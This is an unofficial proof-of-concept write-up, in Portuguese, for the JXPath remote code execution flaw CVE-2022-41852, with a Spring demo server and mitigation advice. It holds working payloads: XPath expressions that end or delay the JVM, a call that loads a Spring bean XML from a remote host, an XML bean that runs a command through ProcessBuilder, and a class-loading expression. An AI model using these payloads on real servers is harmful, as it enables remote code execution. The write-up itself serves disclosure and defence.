
CVE-2022-41852 Prova de Conceito (não oficial)
CVE-2022-41852 permite que invasores executem código no servidor de aplicações.
Você pode ler mais sobre esta vulnerabilidade aqui:
Nota: Não sou autor desta CVE. Apenas criei esta prova de conceito.
A biblioteca JXPath suporta a execução de funções em expressões XPath (veja o Guia Oficial do Usuário).
Por exemplo, os métodos JXPathContext.getValue(path) e JXPathContext.iterate(path) são perigosos
se você permitir que o usuário envie entrada no parâmetro path.
Esta PoC inicia um servidor Spring simples com dois endpoints:
/vulnerable-example?path=[path]/secure-example?path=[path]Estes endpoints têm apenas um parâmetro de consulta "path".
As seguintes requisições funcionarão normalmente (não causarão problemas):
As seguintes requisições farão com que o código seja executado:
Exemplos de payloads para detectar CVE-2022-41852:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)Pode haver várias maneiras de executar comandos. Uma delas é usar o ClassPathXmlApplicationContext do Spring:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")No arquivo XML, você pode definir a configuração do bean, por exemplo, pode criar uma instância de ProcessBuilder
e executar o comando especificado no servidor inicializando o bean usando o método start().
No exemplo a seguir, a calculadora será aberta em uma máquina Windows:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Há também uma maneira de carregar novas classes percorrendo o bean de contexto, por exemplo, o seguinte código carregará a classe com.warxim.dangerous.DangerousClass, criará sua instância e chamará o método run("warxim"):
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
Observe que temos que chamar os métodos do objeto colocando o objeto que os contém como primeiro parâmetro.
É possível desabilitar funções no JXPathContext definindo o campo functions como FunctionLibrary vazio.
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
Nota: Isso desabilitará todas as funções, portanto, até funções como size() não estarão disponíveis.
A correção está sendo desenvolvida, veja https://github.com/apache/commons-jxpath/pull/26